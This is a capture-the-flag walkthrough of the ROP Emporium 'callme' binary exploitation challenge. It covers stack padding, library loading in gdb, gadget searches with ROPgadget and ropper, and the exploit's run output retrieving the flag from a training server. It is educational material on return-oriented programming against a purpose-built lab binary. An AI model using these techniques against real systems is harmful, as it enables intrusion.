The challenge description provides some good insight into what we will be doing here:
You must call the callme_one(), callme_two() and callme_three() functions in that order, each with the arguments 0xdeadbeefdeadbeef, 0xcafebabecafebabe, 0xd00df00dd00df00d e.g. callme_one(0xdeadbeefdeadbeef, 0xcafebabecafebabe, 0xd00df00dd00df00d) to print the flag.
This gives us a good idea of what we need to do. We need to pass these arguments into the correct functions in the correct order.
Notes about the Binary
I skip almost all the static analysis in this binary, mainly because we're provided instruction on exploiting it. However, I want to cover some of the major points that might be confusing.
Padding
The padding is simple; its 40 bytes. It will be the same in all the ROP emporium challenges, but dissecting pwnme will show you why.
The Library File
You probably noticed that we were provided with a libcallme.so file and the binary. We've never been provided with this before, so I want to discuss its importance.
Whenever you build a project in C, it will call on a libc file that contains the standard template library functions. In gdb, we note these functions have a @plt suffix (i.e. puts@plt). However, you can make custom library functions in the same way. In our case, we'll notice in callme that callme_one is referenced as callme_one@plt. This is because callme_one is defined in the library file, and callme only contains a reference to that function.
To dissect callme_one, we need to use gdb (or radare2) on the library file. Then, we can use disas callme_one to get the disassembly of this binary.
This makes stepping with gdb monumentally more difficult. Because the function is not fully in the binary, gdb often gets confused. The main way to fix this in our exploit file is to do the following:
This way, the custom library file is loaded correctly with the functions. Then, when we define the process using gdb.debug, it correctly loads in the library file.
Gadget-Hunting
We need to find gadgets that load rdi, rsi, and rdx. We want our gadgets to be as simple as possible, so we'll be restrictive in our gadget search and broaden it as needed.
We'll start by just looking for popping gadgets using the following:
$ ROPgadget --binary callme --only "pop|ret"
Gadgets information
============================================================
0x000000000040099c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040099e : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004009a0 : pop r14 ; pop r15 ; ret
0x00000000004009a2 : pop r15 ; ret
0x000000000040099b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040099f : pop rbp ; pop r14 ; pop r15 ; ret
0x00000000004007c8 : pop rbp ; ret
0x000000000040093c : pop rdi ; pop rsi ; pop rdx ; ret
0x00000000004009a3 : pop rdi ; ret
0x000000000040093e : pop rdx ; ret
0x00000000004009a1 : pop rsi ; pop r15 ; ret
0x000000000040093d : pop rsi ; pop rdx ; ret
0x000000000040099d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006be : ret
Unique gadgets found: 14
$ ropper -f callme --search "pop|ret"
[INFO] Load gadgets for section: LOAD
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop|ret
[INFO] File: callme
0x000000000040099c: pop r12; pop r13; pop r14; pop r15; ret;
0x000000000040099e: pop r13; pop r14; pop r15; ret;
0x00000000004009a0: pop r14; pop r15; ret;
0x00000000004009a2: pop r15; ret;
0x00000000004007bb: pop rbp; mov edi, 0x601070; jmp rax;
0x000000000040099b: pop rbp; pop r12; pop r13; pop r14; pop r15; ret;
0x000000000040099f: pop rbp; pop r14; pop r15; ret;
0x00000000004007c8: pop rbp; ret;
0x000000000040093c: pop rdi; pop rsi; pop rdx; ret;
0x00000000004009a3: pop rdi; ret;
0x000000000040093e: pop rdx; ret;
0x00000000004009a1: pop rsi; pop r15; ret;
0x000000000040093d: pop rsi; pop rdx; ret;
0x000000000040099d: pop rsp; pop r13; pop r14; pop r15; ret;
0x00000000004006be: ret;
We conveniently find the following gadget, which does everything we need:
0x000000000040093c : pop rdi ; pop rsi ; pop rdx ; ret
This gadget works great! It loads all the values we could need into the registers we need. We'll use this gadget for all three functions.
Important Note:
There is more than one way to do this problem. This happens to be the most efficient, but in the case that gadget wasn't there, there is this combination:
0x00000000004009a3 : pop rdi ; ret
0x000000000040093e : pop rdx ; ret
0x00000000004009a1 : pop rsi ; pop r15 ; ret
In this case, we would need to load r15 with a random value, but this would work just fine.
While we're at it, we will also grab a gadget to beat the movaps instruction. The longer the payload and the more jumps we make, the more often we need the gadget.
0x00000000004006be : ret
Exploitation
Let's build the exploit from the ground up.
First, we define the binary, library, and the process:
$ python3 exploit.py
[*] '/home/joybuzzer/Documents/vunrotc/public/binex/05-rop/callme/src/callme'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'.'
[*] '/home/joybuzzer/Documents/vunrotc/public/binex/05-rop/callme/src/libcallme.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to vunrotc.cole-ellis.com on port 5300: Done
b'callme by ROP Emporium\nx86_64\n\nHope you read the instructions...\n\n> '
[*] Switching to interactive mode
Thank you!
callme_one() called correctly
callme_two() called correctly
flag{singme_callme_by_your_name}
[*] Got EOF while reading in interactive
$
[*] Interrupted
[*] Closed connection to vunrotc.cole-ellis.com port 5300
Our exploits are getting exponentially longer in 64-bit as we need to load registers, pass values into those registers, and then call the desired functions. In the next binary, we'll take this a step further to introduce new data into the binary and then use our data to pass our own values.